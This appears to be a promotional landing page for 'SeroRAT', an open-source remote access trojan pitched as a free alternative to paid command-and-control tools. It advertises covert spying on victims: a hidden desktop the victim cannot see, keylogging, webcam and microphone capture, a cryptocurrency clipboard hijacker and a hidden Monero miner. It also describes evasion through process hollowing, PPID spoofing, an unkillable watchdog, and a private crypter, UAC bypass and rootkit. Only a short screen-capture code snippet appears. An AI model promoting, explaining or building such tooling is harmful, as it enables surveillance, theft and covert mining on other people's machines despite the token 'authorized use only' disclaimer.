Open source  ·  MIT License  ·  Authorized use only

The C2 they charge
$2,000 for.
Free.

HVNC, DXGI remote desktop at 60fps, remote webcam via DirectShow, process hollowing with PPID spoof, NativeAOT stub — 40+ features. Everything the expensive ones have. None of the price tag.

7 MB stub· 40+ features· AES-256· .NET 10 NativeAOT

SeroRAT — Online Clients
SeroRAT dashboard — client list with online clients

Hidden Virtual Network Computing

HVNC creates a completely isolated Windows desktop session — invisible to the target. Chrome, Firefox, Edge, Brave, Opera launch directly into the shadow session. The victim sees nothing. You see everything.

Each browser gets --start-maximized and fills the HVNC frame. Mouse and keyboard are forwarded with sub-pixel accuracy. The clipboard syncs on a 400ms toggle you control.

isolated desktop9 browsersclipboard syncreal-time input

Process Hollowing — RunPE

The injected binary never touches disk. A legitimate host process (svchost, dllhost) is created suspended, its memory unmapped, and your payload written in its place — then resumed.

PPID spoofing via UpdateProcThreadAttribute makes the injected process appear as a child of explorer.exe or winlogon.exe. Task Manager, Process Explorer — they see nothing suspicious.

no disk writePPID spoofsuspended creatememory remap

Open source

  • Server — WPF C#
  • Stub — NativeAOT x64
  • Builder
  • All 40+ features
  • TLS protocol

Private / yours to build

  • Polymorphic crypter private
  • UAC bypass chain private
  • Rootkit integration implement yourself

The rootkit is documented in the stub code and works — wire it in your own build.

What it does.

Monitoring

  • Remote Desktop — DXGI + GDI fallback
  • HVNC — isolated hidden desktop
  • Webcam — DirectShow + VFW
  • Microphone — live listen + WAV save
  • Keylogger — disk logging by date
  • Performance Monitor — CPU / RAM / Net
  • Remote Shell — cmd / PowerShell

Administration

  • File Manager — browse / upload / exec
  • Process Manager — tree view, icons
  • Registry Editor — HKLM + HKCU
  • Service / Window / Device Manager
  • TCP Connections + firewall rules
  • Startup Manager
  • Installed Programs — silent uninstall

Offensive

  • RunPE — in-memory + PPID spoof
  • Reverse SOCKS5 proxy
  • Crypto Clipper — 10 coins
  • AutoTask DLL plugins — C++, compiled on demand
  • XMR Miner — configurable hollow target, idle throttle
  • Telegram first-exec notification
  • Per-HWID AutoTask deduplication

The market.

What others charge for the same thing — often worse, and closed to inspect.

Cobalt Strike $5,000 / yr commercial, closed source
Brute Ratel $2,500 / yr commercial, closed source
PureRAT $2,000 lifetime reversed & leaked anyway
SeroRAT $0 — open source MIT, full source on GitHub

Real screenshots.

No mocked-up demos. Actual captures from the server.

No shortcuts.

The details that separate a demo from something you'd actually deploy.

  • TLS 1.2+ with certificate pinning

    Shared-key auth on every packet. 3s heartbeat with RTT measurement. Multi-host auto-reconnect with configurable round-robin delay.

  • PPID spoofing in RunPE

    UpdateProcThreadAttribute sets the injected process parent to explorer.exe or winlogon.exe depending on elevation level.

  • Watchdog that can't be killed

    4 guardian processes in dllhost/SearchProtocolHost, staggered 800ms apart. File lock + FileSystemWatcher for instant restore.

RemoteDesktopFeature.cs
// DXGI Desktop Duplication — GPU direct
DxgiCapture.TryInit(monitorIndex);

while (_running)
{
    // Block on VBLANK — natural 60fps pacing
    var pixels = DxgiCapture.CaptureFrame(
        out w, out h, timeout: 16);

    // 64×64 block diff vs previous frame
    var changed = BlockDiff(pixels, _prev, w, h);
    if (changed.Count == 0) continue;

    await SendDeltaAsync(changed, quality);
    _prev = pixels;
}

Open source.
No strings.

Fork it. Build on it. Make it yours.
Just use it on systems you have authorization for.

Clone on GitHub